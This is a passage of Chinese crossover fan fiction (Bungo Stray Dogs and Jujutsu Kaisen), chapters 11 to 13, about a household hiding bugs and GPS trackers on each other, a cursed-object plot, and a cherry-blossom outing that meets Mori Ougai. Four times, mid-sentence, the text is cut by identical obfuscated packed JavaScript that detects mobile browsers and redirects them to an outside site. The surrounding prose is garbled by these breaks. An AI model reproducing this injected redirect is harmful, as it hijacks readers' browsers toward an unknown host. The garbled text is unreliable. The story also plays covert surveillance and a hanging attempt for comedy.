是的,其实太宰治从那个白发青年出现在窗外的那一刻起就注意到他的存在了,也知道此时他已经再次从窗户离开。 察言观色,揣度人心,这是太宰治的强项,很少有人能在他面前藏住秘密。 傍晚的时候,在听到伏黑惠喊他名字的那一刻,他感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740209|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到“人间失格”被触发了,有什么东西在被他触碰后消失了。再结合当时伏黑惠慌张的语气,急促的呼吸,还有身上战斗过的痕迹,可以判断那是一种他不曾了解的具有威胁性的非人生物。 回程的路上伏黑惠一直在不动声色地打听他在“WAVE洋装”取衣服时的详细经过,不过套话技术不怎么样,太宰治从他的问话里立刻反推出自己是在那家洋装店里接触到危险源,所以才会被盯上的。 真的很有意思不是吗?一种肉眼看不见的,会被“人间失格”消除的怪物,为什么会袭击他呢? 除非那东西是一种没有任何智商,甚至连趋利避害的本能都没有的劣等生物,否则在“人间失格”波动的威胁下不可能会主动袭击他。 那么这背后是有人指使吗?那个陷阱又是为了针对谁?他?伏黑?还是原本要去取衣服的淡岛夫人? 突然踏足一个没有接触过的陌生领域,太宰治掌握的信息太少,但是没关系,他有获取信息的小妙招——在伏黑的裤子口袋里放窃听器! 所以从白发青年敲响窗户,到后面他们的谈话,太宰治都听得一清二楚。 这就是科技的力量:) 咒术师,确实是一个没有听说过的领域,听描述似乎是个被一些陈旧腐朽的家系所把控的阶级体系。 不巧,太宰治最讨厌的就是所谓的“大家族”了,光是想想就能闻到混杂着霉味的沉闷阴湿的空气。 被家系掌控的阶级体系,听起来就很不妙啊。那个白毛男还想来拐人?那种泥坑到底是谁会感兴趣啊! 太宰治在心里指指点点。 他不动声色地在屋子里转了一圈,假装什么都没发现,临走前还把对着床头的椅子踢到了书桌前。 “看来还是伏黑君略胜一筹,好吧,这次算你赢了,下次我来藏你来找!”太宰治遗憾地走出了房门,手里还拿着一个从房间里顺出来的游戏机。 “谢谢,但我不太想大半夜玩捉迷藏。”伏黑惠拒绝了他的‘下次’。 “现在你可以回去了吧。”伏黑惠说着就要关门。 “等等。” 缠着绷带的手突然握在门框上,伏黑惠紧急撤回了一个关门的动作。 太宰治丝毫不在乎自己差点被夹到手,不知从哪里掏出一样东西塞进门缝里递给他:“虽然伏黑君对我很过分,但我可是很关心伏黑君的,如果害怕做噩梦的话就抱着它睡吧。”他说完就一溜烟地跑走了。 伏黑惠先是因为他的话愣了一下,然后在低头看清太宰治递给他的东西之后猛地握紧了拳头! 手里的兔子玩偶正用红彤彤的眼睛盯着他,原本洁白柔软的身躯上突兀地沾上了一大片番茄汁。 伏黑惠额头青筋暴起!这可是莉帕最喜欢的玩偶!太宰对它做了什么?! 后半夜,伏黑惠确实没有做噩梦,因为他蹲在洗衣间里搓了一晚上的玩偶。 而在他顶着月色冷脸洗玩偶的同时,楼上,犯了个贱的太宰治同样没睡。 他坐在床边,捏着从伏黑惠裤子口袋里回收的窃听器思考了一晚上 ——为什么他的窃听器型号变异了呢? (宇宙猫猫升华).jpg 11. 第 11 章 “啊啊啊啊——!!!” 清晨,唤醒淡岛家的是莉帕的尖叫。 “惠!不好了!珍妮不见了!”银发萝莉穿着兔子睡衣,光着脚跑下楼梯冲进了厨房。今天早上醒来她就发现她的床头柜空了,本应摆在柜子上的兔子玩偶不见了踪影。 “家里进贼了!一定是从窗户进来的!我明明有锁卧室门!” 正在准备早餐的伏黑惠闻言顿了顿,回答:“没有进贼,太宰把你的玩偶弄脏了,我把它洗了,现在正和衣服一起晾在院子里。” 莉帕一下子明白了事情经过:“太宰那个混蛋又来偷我的珍妮!气死我了,他就是在报复我昨晚骗他吃芥末夹心饼干!我迟早要让青理把家里的门都换成密码锁!” 伏黑惠不想深究家里为什么会有芥末夹心饼干,并且觉得密码锁大概也防不住太宰治。他把赤着脚的女孩抱起放在餐桌边的椅子上,将早饭摆在了她的面前。 “吃饭吧,一会儿我送你去上学。”淡岛夫人今天果然还是没能起床。 他坐到莉帕对面,开始吃自己的那一份早餐。 还住在米花的时候,清晨的餐桌上通常只有他和津美纪还有莉帕三人,因为淡岛夫人往往会睡到中午才起床。搬来横滨后,虽然家里多了一个太宰治,但吃早餐的人却更少了,因为太宰的作息毫无规律可言。 莉帕乖巧地用餐刀将煎蛋切成小块,一边吃一边问:“惠还没有选好想去的学校吗?大部分高中都要开学了,再拖一拖就要跟不上入学后的课程了。” 伏黑惠面色如常:“确定了大致范围,大概会在横滨选一所高中。” 莉帕桌子下摆动的小脚停住了,她叼着叉子试探着开口:“其实和津美纪一起读帝丹高中也不错,你不愿意像津美纪一样住在米花的话,也可以和我一起每天坐新干线往返。” 对此,伏黑惠只是摇了摇头。 飞快地吃完早餐,他再次把没穿鞋子的莉帕提到卧室门口,让她换衣服背书包,自己去收拾餐具。之后就带着莉帕出门乘坐新干线,一路将她送到了帝丹小学门口。 伏黑惠蹲下身给莉帕理了理被晨风吹乱的银色长发,把准备好的便当递给她,“横滨的黑手党这几天活动越来越频繁了,放学在门口等我,我来接你回家。” “哈?我又不是太宰,才不会轻易被拐跑,我可以自己回家。”莉帕攥着书包肩带,不满地鼓起嘴巴,“你还是看好太宰吧,万一他丢了,青理就要开始鬼哭狼嚎了。” 伏黑惠情绪稳定:“我在太宰的每件衣服上都缝了GPS定位,他不会丢的。” “……” 莉帕后退了一步,欲言又止,止言又欲。 最后,她小心翼翼地问出了自己最关心的问题:“我身上也有吗?” 伏黑惠沉默不语。 莉帕倒吸一口凉气。 伏黑惠的沉默让莉帕震惊了一整个上午,老师讲了什么她一个字也没听进去。 ——虽然她平时也没有在听。 给太宰装gps这种事,她以为只有青理能干出来,没想到惠你小子看上去浓眉大眼的,竟然也干这种事! 莉帕出奇愤怒,觉得一定是淡岛青理把伏黑惠带歪了。 但是说起来,太宰那种野猫一样撒手就没的性格,也不能怪惠采取一些极端措施吧?毕竟每天奔波在捞太宰的路上,惠看起来都要碎了。 莉帕开始为伏黑惠的行为开脱。 不对,不对!折磨人的是太宰,她又没有添乱过,为什么也要给她装定位器啊!莉帕清醒过来,猛地摇头。 自己和太宰身上都有,那青理身上肯定也少不了。青理那家伙对这些科技产品很敏感,她绝对是知情的!她竟然从来没有提醒过自己! 莉帕暗自咬牙,把文具盒捏得咔嚓作响。 话说回来,太宰那家伙知道自己身上有定位器吗?莉帕再次陷入沉思。 坐在后排的江户川柯南眼睁睁地看着前面的银发女孩一会儿点头一会儿摇头,一会儿又开始捶桌子,仅仅从背影就能看出来她丰富多彩的情绪变换。 江户川柯南:好怪,真的好怪。 莉帕还不知道自己在江户川柯南眼中的标签变成了“内心丰富的怪同学”,她好不容易熬到午休,听见休息铃声的第一件事就是躲进厕所里把自己浑身上下搜了一遍。结果就是分别从裙子背后的蝴蝶结绑带里和鞋子侧边的贴花装饰下面找出来一个定位器。 收获感人。 小小的莉帕握着两个定位器坐在马桶盖上,脑袋里是大大的不解。 为什么两个定位器型号还不一样?惠买定位器还货比三家吗?多方尝试择优录取? 百思不得其解的莉帕只能把这当作是伏黑惠的个人爱好——说不定惠就喜欢收集全部型号的定位器呢? 成功说服自己后,她从马桶上跳下来,把两个定位器通通扔进马桶里冲走。 不好意思,这份爱太沉重了,让青理和太宰承受就好,她承受不来。 咦?莉帕突然又想到一个问题,惠是从什么时候开始给人装定位器的呢?是在被太宰折磨之后,还是在那之前就已经开始了呢?莉帕觉得这是一个值得深究的问题,因为这关系到津美纪身上有没有被装定位器。 或许下次见面需要提醒一下津美纪,她边洗手边想。 惠的情况又严重了,都开始给别人装定位器了,下一步是不是还要装窃听器?再然后不会就要装监控了吧? 冰凉的水珠溅在脸上,银发萝莉打了个哆嗦。 不行不行,绝对不行,为了惠的心理健康着想,应该把他和青理隔离一段时间。 —————— 阳光从窗帘的缝隙里挤进来,直直地照在床上之人紧闭的双眼上。 女人发出一声呻吟,将脑袋往被窝里缩了缩。 枕边的手机突然发出接二连三的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740210|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响动,有人正在以一分钟八百字的打字速度短信轰炸她。一只白皙的手臂从被子里伸出来拍在手机上,凭借手感摸索着将手机关机,然后再次缩回被子里。 房间终于安静了,过了三分钟,淡岛青理睁开了双眼。 可恶!睡不着了啊! 她从被窝里爬出来,赤着脚踩在地上,拉开了一半窗帘。阳光争先恐后地照进室内,晃得她闭了一下眼睛。 窗外阳光明媚,今天是一个大晴天。 她走到床尾,拎起床尾凳上的和服抖了抖,抖落了两个不同型号的定位器。淡定地穿好和服,把定位器捡起来塞进袖口里,她给自己倒了一杯水,然后坐在椅子上把手机开机。 屏幕刚一亮起,就有接连不断的消息飞进她的收件箱,差点把刚开机的手机卡死。 好不容易屏幕停止了闪烁,淡岛青理一封一封地查看信息,果不其然是五条悟发来的废话。随意挑了一条回复,然后将信息一键删除,她的收件箱又恢复了整洁。 退回到手机桌面上,她点开了一个加密的隐藏软件,开始每日例行检查。 大拇指和食指缩放一下地图,代表莉帕的小红点停留在帝丹小学,看样子正在乖乖上课。津美纪的位置也像往常一样刷新在了帝丹高中,且生命体征一切正常,看来昨晚的意外没有给她留下太大阴影。 划动一下屏幕,另一个小红点正在地图上快速向着横滨移动,惠已经坐上了回程的新干线。查询一下惠的移动轨迹,发现他在送莉帕上学之后还去了一趟津美纪居住的工藤家,除了帮津美纪打扫房间,应该还勘查了现场。 靠谱的惠酱。 她留在津美纪身上的法阵只起到反伤作用,没能彻底祓除咒灵,如果能追踪到它的去向自然是最好的。不过惠从津美纪家离开后并没有去其他地方,看样子是没找到那只咒灵的踪迹。 再移动地图,太宰的信号出现在了擂钵街。 淡岛青理撇嘴发出了响亮的“啧”声。 希望森鸥外知道什么叫适可而止,不然她不确定地下室储备的两箱魔药会先用在谁身上。 离开卧室来到书房,昨晚还乱七八糟的桌面已经被人收拾整齐,桌上的书籍和杂志都被分门别类地摆放好。她随手按动收音机的按钮,扬声器里传来沙沙的杂音,看来她放在惠身上的窃听器已经损坏了,至于是意外损坏还是被惠发现后摧毁,她并不关心。因为无论如何,惠都不会怀疑她的。 昨晚塞回书架上的那本书已经换了地方,和同类型的书并排摆放在一起。淡岛青理抽出那本《花卉种植指南》快速翻动两下,从里面抽出她之前匆匆塞进去的图纸。 发黄的羊皮纸上密密麻麻地写满了奇形怪状的文字,如果有人能读懂魔法符文,大概就会看明白这是一篇研究如何实现咒力与魔力转换的炼金笔记。 淡岛青理拿起羽毛笔,在羊皮纸的背面添上了“两面宿傩手指”“咒术高专”的字样。 12. 第 12 章 无论是五条悟、伏黑惠、还是太宰治的判断,都倾向于昨晚的袭击与淡岛青理无关。可淡岛青理本人却觉得,这就是一场针对她的试探。 这件事情还得从头说起。 大概在一年前,她们还居住在埼玉县的时候,发生了一件让淡岛青理记忆深刻的事情——津美纪被人盯上了。 幕后之人躲藏得很深,她寻找不到对方的踪迹,只是一直隐隐约约有种危机感。 那段时间里,她以各种借口陪津美纪一起上下学,果然没过多久她们就遭到了咒灵的袭击。 她在津美纪察觉之前解决了咒灵,但幕后之人也因此觉察到异常,自此消失了踪迹,再也没有露面。 那场袭击毫无疑问是来自咒术界,但幕后之人的身份目的都不明。她在黑市上发过委托,也找中介打探过消息,但是始终没有找到半点头绪。 为什么会对津美纪下手呢? 要论和咒术界有关系的人,首当其冲的应该是身为“十种影法术”持有者的惠,其次是和禅院家争夺惠的抚养权的她,幕后之人却偏偏挑了与咒术界毫无联系的津美纪下手。 不,也不能说毫无联系,她是惠的姐姐,是惠在乎的人,所以这会是一场针对惠的阴谋吗? 无论对方的目标是谁,淡岛青理都不会让对方得逞,她一直在试图将那个人揪出来。只是不知道那人是不是过于谨慎胆小,接下来的一年都没有再露过面。 而现在,那个人终于又出现了。 昨晚的圈套很有可能是为她设下的,因为她一直在探寻幕后之人的踪迹,这是对方的试探,也是警告。 淡岛青理并没有被警告到——两面宿傩的手指?虽然没见过,但刚好可以给她拿来做研究。 没有任何被盯上的恐惧,她非常乐于看见幕后之人伸出试探的触角。她会循着那股腐烂的气息,揪出藏在阴沟里的老鼠,将他们粉碎成泥。 但不得不承认,对方的这次袭击还是给她带来了一些麻烦。因为昨晚去的人不是她,是太宰。 淡岛青理咬着羽毛的尾端,眉间带上了几分病态的焦虑。 太宰的“人间失格”太过特殊,一旦被咒术界发现绝对会引起轩然大波,针对他的阴谋诡计必将接踵而至。那孩子要面临的事情已经够多了,她不希望看到咒术界再来掺和一脚。 淡岛青理把笔随意一扔,在桌子上留下一串墨点,掏出手机给中介发消息。 昨晚惠与太宰在一起,幕后之人不一定知道咒灵是谁祓除的。先让中介监控好舆论消息,发现有不对劲的地方立刻通知她。 一大笔转账发过去,网络对面的人毕恭毕敬地接下了大金主的新任务,并把昨晚她要的关于两面宿傩的全部消息发给了她。 文件很长,足足有两百页,看得出中介为了让金主觉得五千万花的不亏有在努力地水字数,什么犄角旮旯里的传闻都写了进来。生怕字数太多金主看得头疼,中介还贴心地标出了重点。 挑着重要内容看完,淡岛青理心中大概有了底。 简而言之,就是一个千年前的诅咒之王,死后二十根手指被人制成了咒物,并被封印在日本各地。两面宿傩的手指具有强大的咒力,咒灵会被其吸引,试图通过吞噬手指增长力量。 淡岛青理敲了敲桌子,有些不解。既然是如此重要的东西,为什么会被拿来对付她呢?对方就那么有信心,能杀掉她回收咒物吗? 还是说,手指的去向也是背后之人计划中的一环? 她捡起鹅毛笔,在“咒术高专”几个字上面画了个圈。看来这次她真的要认真了解一下这个学校了。 从书房的窗户能望见院门,淡岛青理站起来伸了个懒腰,正好看见伏黑惠提着购物袋走进院子。 说起来,惠还没定下去哪所学校。他一直是一个有主张的孩子,说要自己决定,但是这么久了还没有定下来,是不是要催一催呢? 院落里的少年似乎察觉到她的注视,抬头望了过来。 淡岛青理笑着对少年挥挥手。 可恶,怎么办?完全不想催,不想让惠去上学! 横滨那么乱,学校的生源也是五花八门,她的惠宝这么瘦弱,入学普通学校可能会被混混欺负,入学精英学校可能会被特权阶级欺负,不能在横滨上学啊! 可是如果去外地上学,那么岂不是可能会像津美纪一样不回家了?!不行!这怎么可以?! 淡岛青理焦虑地咬起了手指。 要不然给惠请家教吧,这个学也不是必须要上。 其实她也是为了惠着想,毕竟惠这么黏人,一定是不愿意离开妈妈的吧?而且她还可以借此来说服津美纪,看到弟弟同意在家学习,津美纪说不定会愿意一起呢?这样津美纪就可以回到她身边了。 淡岛青理越想越觉得自己是个天才,在心里把请家教这件事提上了日程。 从窗边退回到书桌旁,她再次拿起手机。不过还是袭击的事情要紧,先让中介把“咒术高专”的详尽资料发给她吧。 远方,又收到了一大笔转账的中介:…… 有一个总是花重金买一些非机密情报的人傻钱多的金主是一种怎样的体验? 他数了数转账后面的零,又摸了摸自己的良心,痛并快乐着打开了电脑,开始给金主撰写论文。 …… 伏黑惠的每一天都过得很充实,今天也不例外。 早上七点做好早饭,饭后送莉帕去米花上学。 八半点到达津美纪借居的工藤宅,收拾翻倒在地的梳妆台并寻找咒灵留下的痕迹。咒力残秽在离开住宅后就迅速中断消失,追踪未果,乘坐新干线回到横滨。 九点半到达“WAVE洋装店”,一番询问后毫无收获地离开。回程路上在超市采买好做便当的食材,为明天的赏樱做准备。 十点半到家,开始日常清扫。将昨天换下来的衣服放进洗衣机,戴上手套和口罩清扫庭院,并给屋里屋外的植物浇水。 十一点开始准备午饭。 十一点半,将走进厨房跃跃欲试的淡岛夫人请出去。 十二点,拿着手机出门去叫太宰回家吃饭。 十二点半,提着入水未成的太宰回家,把偷溜进厨房的淡岛夫人请出去,并对餐盘里的食物进行细致的检查。 下午一点,将食物中毒的太宰送往医院,在医院门口对淡岛夫人展开严厉批评。 下午两点,带着新购买的花卉盆栽敲响淡岛夫人的卧室门,向在床上缩成一团生闷气的淡岛夫人道歉。 下午三点,接莉帕放学,然后去医院接太宰。 下午四点,把在病房里掐架的莉帕和太宰拉开,向被惊扰到的其他病人道歉。 下午五点,开始准备晚饭,并把满血复活的淡岛夫人从厨房里请出去。 五点十分,把和太宰治打配合偷溜进厨房的淡岛夫人请出去。 五点二十分,把溜进厨房给淡岛夫人偷食材的太宰治请出去。 五点半,把再次打成一团的莉帕和太宰分开,回到厨房把淡岛夫人请出去。 五点四十分,锁上厨房的门。每一把锁头都拥有自己的使命。 六点十分,吃晚饭。在争抢电视遥控器的莉帕和太宰头上各砸一拳,把遥控器交给淡岛夫人。 六点四十分,在狗血虐恋爱情剧的3D环绕音中收拾碗筷。 七点,开始准备明天的便当。 八点,关掉电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740211|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视,给哭得稀里哗啦的淡岛夫人递纸,送她上楼。 八点半,拨通津美纪的电话,进行日常通话。 九点,洗漱上床,回复五条先生的短信,然后翻开床头的漫画。 九点半下楼,把偷溜出门的太宰治提起塞回卧室去,摸摸守在家门口的玉犬的头,以示奖励。 十点,关灯休息。 十点半下楼,把太宰治提起塞回卧室去。 十一点,关灯休息。 十一点半下楼,把太宰治提起塞回卧室去。 十一点四十,给太宰治热了一杯牛奶,看着他睡着,把掉在地上的杯子捡起来清洗后放好。 十二点,安心入眠,陷入宁静的梦乡。 真好,又是平静的一天。 …… 不管昨日有多少鸡飞狗跳,当自沉醉的安眠中睁开双眼,崭新的一天就要开始了。 天空碧蓝如洗一望无云,浅金色的阳光温暖地穿透玻璃窗铺洒进宅邸,这是一个难得一见的好天气。 今天,是几人提前约定好赏樱的日子。 横滨的樱花大概只能开到四月上旬,再晚些时日就要凋落了。 “太宰君,该起床了。” 梳妆完毕的淡岛青理站在太宰治房门口敲了许久的门,也没有人应门。她的大脑里一瞬间闪过了诸多联想,其中甚至有‘太宰治半夜跳窗被鬼火黄毛接走了’这种离谱猜测。 在她往外掏手机的时候,住在隔壁的伏黑惠叼着牙刷推开门观察了一下情况,又缩回了卧室里。 半分钟后,穿戴整齐的伏黑惠踹开了太宰治的卧室门,把他从吊灯上放了下来。 “咳咳、咳咳咳……” 被解救下来的太宰治毫无形象地趴在地上,咳了两声就意识模糊地陷入了半昏迷状态,头发凌乱,身上还穿着睡衣。 伏黑惠:……这人每天睁眼就是自杀吗? 伏黑惠来得有些晚了,上吊用的绳索已经在他脖子上留下了狰狞的痕迹,青紫一条很吓人。 他熟练地将人放平,推开窗户通风,然后摸了摸太宰治的脉搏,并结合太宰治的体质得出结论——“没事。” 淡岛青理这才慢悠悠地凑了过来,长舒了一口:“吓死我了,我还以为太宰被拐走了!” 伏黑惠正忙着收拾混乱的房间,把倒在地上的椅子挪到它该在的位置,将地板上薯片包装袋捡起来扔进垃圾桶,顺便也丢掉了太宰治昨夜换下来的绷带。 听到淡岛青理的感慨,他无奈地揉了一下额角说:“自杀并不比被拐好,请您多少重视一下。” “放心啦,太宰超厉害的,才不会轻易死掉!既然他喜欢就让让他嘛。”女人没心没肺地比了一个大拇指。 “再怎么说也不可能放心吧?这种事也不是用喜欢就能解释的。”伏黑惠拿她没办法,只能打发她去楼下照看莉帕。 跟淡岛夫人讲道理这件事,伏黑惠很早之前就放弃了。淡岛夫人心中自有一套衡量事物的标准,只要还在标准范围之内,他人的任何需求都会被满足。 在津美纪小的时候,她特别喜欢吃软糖,淡岛夫人就在家中准备了很多糖罐,无论津美纪吃多少都不会阻拦。可想而知,津美纪很快就有蛀牙了,最后脸颊肿肿地被淡岛夫人带着去拔了牙。 之后淡岛夫人也没有吸取教训,仍然予取予求,但是缺了一颗乳牙的津美纪和旁观了姐姐受难的伏黑惠却早早地懂得了不知节制的后果,深刻地明白了淡岛夫人在教育问题上只能起一个装饰性作用,再也没掉进她的蜜糖陷阱过。 所以想要改掉太宰自杀的习惯,靠淡岛夫人是不可能的了。 或许应该为他请一位心理医生,伏黑惠想。 13. 第 13 章 就像伏黑惠说的那样,太宰治没一会儿就清醒过来了。 彼时的三人正在楼下收拾赏樱要带的东西,太宰治就从楼梯上一跳一跳地蹦了下来。 他穿着一件纯色的雾霾蓝卫衣,胸前垂了一条闪亮亮的六芒星毛衣链,下身是米色休闲长裤。一枚棕红色的十字发卡将他微长的刘海固定住,完整地露出他那一只鸢色的眼瞳。 如果忽略他脸上的绷带,真是既阳光健康又兼具青春活力的一套装扮。 连莉帕看他都顺眼了两分。 “早上好!呐呐,我跟你们说,我早上梦到我自杀成功了!”阳光健康的太宰治张开双手高高举起,尽显青春活力。 “真的吗?”淡岛青理笑着接他的话,主打一个不扫兴。 “真的真的!梦到我前往了地狱,地狱还有黑色的小精灵替我收拾屋子!” “哇!”淡岛青理惊叹,“不过为什么小精灵是黑色的呢?” 太宰治:“不知道,也许是泥巴里长出来的精灵吧。” 伏黑惠:…… 有时候真的很想退出这个家。 那边莉帕不耐烦地推开玄关的门催促道:“真是的!你们还要磨蹭多久?再晚些好位置就要被别人占去了!” 今天的莉帕穿了一件黑色描金还带蕾丝边的蓬蓬裙,搭配棕色小皮靴和小白袜,头顶别了一个大大的棕色蝴蝶结,身后还背了一个红色小书包。就连蓬松的卷发也被认真打理过,卷曲的弧度刚刚好,每一根发丝都在闪闪发光。 “来了来了!” 几人相继走出家门,前往他们的目的地。 路上,伏黑惠提着装有野餐用品的袋子走在最后,目光时刻关注着前面的三个人。 普通人看不见的黑白玉犬被召唤出来,它们先兴奋地在淡岛青理脚下转了个圈,又嗅了嗅太宰治,之后分散开来一前一后护住这个小队伍,警戒着可能出现的危险。 太宰治抱着从超市买来的蟹肉罐头哼着歌走在队伍最前面,头顶的一撮头发随着他的走动一翘一翘。 他似乎从昨晚就一直心情很好。 淡岛青理穿了一件樱粉色和服,盘起的发间也应景地插了几朵樱花。她走在太宰治身侧,中间隔了一个手臂的距离,偶尔侧过脸接太宰治的话,脸上一直带着纵容的微笑。 伏黑惠皱了一下眉。 “怎么了?”走到他旁边的莉帕对他发出了关心。 伏黑惠犹豫着开口:“你觉不觉得……” “觉得什么?” “……算了,没什么。” 莉帕抬头看了少年一眼,不明白他到底想说什么。 “怎么了吗?太宰君?”注意到太宰治的目光停留在某处,淡岛青理发出疑问。 “……没事。”太宰治垂下眼睫。 刚刚似乎感受到了什么东西的存在,像是两团模糊的影子。 让太宰治领路的后果就是,几人成功迷了路。 在他第三次试图从黑手党火拼现场中横穿过去的时候,淡岛青理终于意识到了不对劲。 “那个……太宰君,你是不是迷路了呢?” 太宰治歪头:“没有哦。我只是不知道要去哪而已。” 莉帕:“商定地点的时候没认真听就别走前面啊!臭小鬼!” 伏黑惠叹了口气,突然有些想开学了。让他走吧,他宁愿去上课。 在他们重新找到路的时候,太宰治头顶多了两个包。他非常生气,挥舞着手臂抗议:“伏黑君打我就算了,为什么莉帕也可以打我!” 莉帕比他还要生气:“都怪你!现在肯定没有好位置了!” 太宰治:“明明莉帕自己也没发现我走错路了!” 口中不停地和莉帕打嘴仗,太宰治心里却在思考那两团模糊影子的事情。 跟了他们一路却一直没有出手,看来不是前来袭击的咒灵。那么就是伏黑君一直以来监视他的手段了吧?上次那个白毛男提到的“十种影法术?” 莉帕:“你还怪我?你天天像野猫一样在外面闲逛,我以为你会知道什么捷径啊!”她怒气冲冲地走在前面,小皮鞋踩得咔嗒作响,结果在转角处突然与人撞了个满怀。 “哎呦!” 这一下撞得可狠,莉帕捂着脑门,觉得应该要起一个大包。她甩了甩脑袋,打算看看是谁撞了自己。 远处传来带着波浪线的呼喊声:“爱丽丝酱~” 莉帕只见一抹金色一闪而过,和她相撞的人就躲在了她的背后。 金发萝莉从她背后探出一个脑袋,冲着跑过来的男人大喊:“走开啊!林太郎你这个变态!” 胡子拉碴穿着白大褂的男人双手捧脸:“爱丽丝酱就连骂人也这么可爱~” 来人正是森鸥外,此时还没加入港口黑手党的他还是镭钵街的一名黑医。 不久前,他从河里捞上来了一个具有无效化异能的孩子。那一刻,他脑海中闪过了诸多算计。然而在连夜调查后发现,他来晚了一步,已经有人先一步接触了那个孩子。 这可不行啊,他看中的钻石,怎么能落入他人之手呢? 金发蓝眼的萝莉双手拽着红色小洋裙的下摆,怒气冲冲地喊道:“我最讨厌林太郎了!” 男人心都要碎掉了,捂着胸口上前两步,却被一名黑发少年拦住了。 伏黑惠挡在莉帕身前,注视着突然出现的男人,警惕地询问:“请问你是哪位?” 目光隐晦地打量了少年一番,注意到他衬衫下流畅的肌肉线条,森鸥外理了理衣袖恢复正经模样:“失礼了,在下森鸥外,是个医生。” 淡岛青理:“太好了,不是人贩子!” 森鸥外:“……?” 他脸上的笑容僵了一下,感觉自己被内涵了。 淡岛青理反应过来自己说错了话,连忙鞠躬:“对不起对不起,我不是故意的……我是淡岛青理,森先生您好。” 森鸥外笑着说:“夫人不必道歉,是我唐突了。这是我的女儿爱丽丝,她在和我闹脾气呢,给你们添麻烦了,我这就带她走。” 说着,他蹲下身张开双臂对爱丽□□哄道:“好啦,爱丽丝酱,快跟我回家。” 爱丽丝哼了一声偏过头:“才不要。” 她蓝色的眸子瞪得大大的,对着和她差不多高的银发萝莉说:“你好可爱,爱丽丝喜欢你,你叫什么名字?可不可以和爱丽丝做朋友?”她说着,就要伸手去挽银发萝莉的胳膊。 莉帕后退了两步躲过她的手,猛地侧身紧紧抱住了伏黑惠的小腿开始瑟瑟发抖。 啊啊啊啊!什么东西?!好恐怖!你不要过来啊! 对面被躲开的爱丽丝疑惑了一下,向她露出一个友善的微笑。 莉帕看到后直接将脸埋在了伏黑惠腿上!救命,好吓人!为什么这个人类看起来碎碎的?!就像马赛克拼起来的一样!这就是电影里说的伪人吧?! 而且为什么和她的打扮那么像啊?!撞人设了喂!糟了,该不会是来代替她的伪人吧?那种事情不要啊! 感受到腿部的抓握,伏黑惠弯腰把莉帕从地上抱了起来,目光警惕地看着凑近的金发女孩。从刚刚开始他就觉得这个女孩身上有种古怪的感觉,但是他说不上来是哪里不对。 淡岛青理在爱丽丝面前蹲下身,说:“真是对不起,莉帕有些怕生。你叫爱丽丝吗?你也很可爱啊。” 太宰治在身后发出意味不明的嘁声。 森鸥外望着缩在伏黑惠怀里的小女孩,说:“这位小小姐是夫人您的女儿吗?真是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740212|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天使一样的孩子。” 淡岛青理像是听到了什么好笑的事情,面色有一瞬间扭曲。 不过很快她就收敛好了表情,优雅地起身为他介绍:“这是我的孩子,惠,还有治,这位是莉帕。”她省略了几人的姓,统一用名字称呼。 对于她的说法,太宰治只是打了个哈欠,没有反驳。 爱丽丝伸手拽住了伏黑惠的裤子,抬头对莉帕说:“莉帕不喜欢我吗?可是我想和莉帕一起玩。” 不不不,你不想!莉帕惊恐地抱紧了伏黑惠的脖子,生怕他把她放下来。 森鸥外劝阻了好一会儿,无果,只能无奈地看向淡岛青理:“不知道淡岛夫人是要去哪里?方不方便同行一段路呢?爱丽丝看起来真的很喜欢莉帕小姐。” 太宰治发出看热闹的声音:“被奇怪的家伙缠上了呢,莉帕。” 淡岛青理拍了拍他的头说:“不要这么说,很没有礼貌的。” 莉帕在伏黑惠怀里暗暗龇了龇牙。是因为谁才会被缠上的啊,你小子心里最好有点数! “我们是要去公园赏樱的,森先生愿意的话可以一起去。” 森鸥外:“当然愿意,我的荣幸。” 几人结伴向公园走去,一路上莉帕都缩在惠的怀里,任凭爱丽丝怎么说都不肯理她。 爱丽丝泪眼汪汪地来到淡岛青理面前,伸出手表示自己伤心了,也要抱。 淡岛青理脸上的笑有点挂不住了。 可以不抱吗? 森鸥外在旁边弯着腰说:“爱丽丝酱,来爸爸这里,爸爸抱。” 